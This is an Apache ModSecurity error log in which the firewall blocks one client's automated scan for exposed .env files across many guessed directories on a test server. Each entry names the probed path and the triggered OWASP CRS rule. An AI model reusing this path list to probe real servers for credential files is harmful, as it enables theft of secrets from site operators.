[Mon Jul 28 20:46:08.149952 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/developer/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjhgAAAAc&quot;]
[Mon Jul 28 20:46:08.150118 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/developer/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjhgAAAAc&quot;]
[Mon Jul 28 20:46:08.170114 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /developerslv/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/developerslv/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjhwAAAAc&quot;]
[Mon Jul 28 20:46:08.170311 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/developerslv/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjhwAAAAc&quot;]
[Mon Jul 28 20:46:08.170500 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/developerslv/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjhwAAAAc&quot;]
[Mon Jul 28 20:46:08.190535 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /development/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/development/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjiAAAAAc&quot;]
[Mon Jul 28 20:46:08.190735 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/development/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjiAAAAAc&quot;]
[Mon Jul 28 20:46:08.190923 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/development/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjiAAAAAc&quot;]
[Mon Jul 28 20:46:08.252785 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /directories/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/directories/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjiwAAAAc&quot;]
[Mon Jul 28 20:46:08.252955 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/directories/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjiwAAAAc&quot;]
[Mon Jul 28 20:46:08.253103 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/directories/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjiwAAAAc&quot;]
[Mon Jul 28 20:46:08.273251 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dist/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dist/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjjAAAAAc&quot;]
[Mon Jul 28 20:46:08.273441 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dist/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjjAAAAAc&quot;]
[Mon Jul 28 20:46:08.273603 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dist/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjjAAAAAc&quot;]
[Mon Jul 28 20:46:08.314882 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /django-blog/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/django-blog/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjjgAAAAc&quot;]
[Mon Jul 28 20:46:08.315056 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/django-blog/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjjgAAAAc&quot;]
[Mon Jul 28 20:46:08.315209 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/django-blog/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjjgAAAAc&quot;]
[Mon Jul 28 20:46:08.335139 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /django/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/django/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjjwAAAAc&quot;]
[Mon Jul 28 20:46:08.335309 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/django/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjjwAAAAc&quot;]
[Mon Jul 28 20:46:08.335460 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/django/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjjwAAAAc&quot;]
[Mon Jul 28 20:46:08.355335 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /django_project_path/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/django_project_path/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjkAAAAAc&quot;]
[Mon Jul 28 20:46:08.355549 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/django_project_path/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjkAAAAAc&quot;]
[Mon Jul 28 20:46:08.355737 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/django_project_path/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjkAAAAAc&quot;]
[Mon Jul 28 20:46:08.375617 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /doc/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/doc/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjkQAAAAc&quot;]
[Mon Jul 28 20:46:08.375801 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/doc/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjkQAAAAc&quot;]
[Mon Jul 28 20:46:08.375988 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/doc/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjkQAAAAc&quot;]
[Mon Jul 28 20:46:08.416667 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker-compose/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-compose/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjkwAAAAc&quot;]
[Mon Jul 28 20:46:08.416847 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-compose/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjkwAAAAc&quot;]
[Mon Jul 28 20:46:08.417005 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-compose/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjkwAAAAc&quot;]
[Mon Jul 28 20:46:08.436996 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker-compose/platform/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-compose/platform/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjlAAAAAc&quot;]
[Mon Jul 28 20:46:08.437164 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-compose/platform/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjlAAAAAc&quot;]
[Mon Jul 28 20:46:08.437325 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-compose/platform/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjlAAAAAc&quot;]
[Mon Jul 28 20:46:08.457188 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker-elk/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-elk/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjlQAAAAc&quot;]
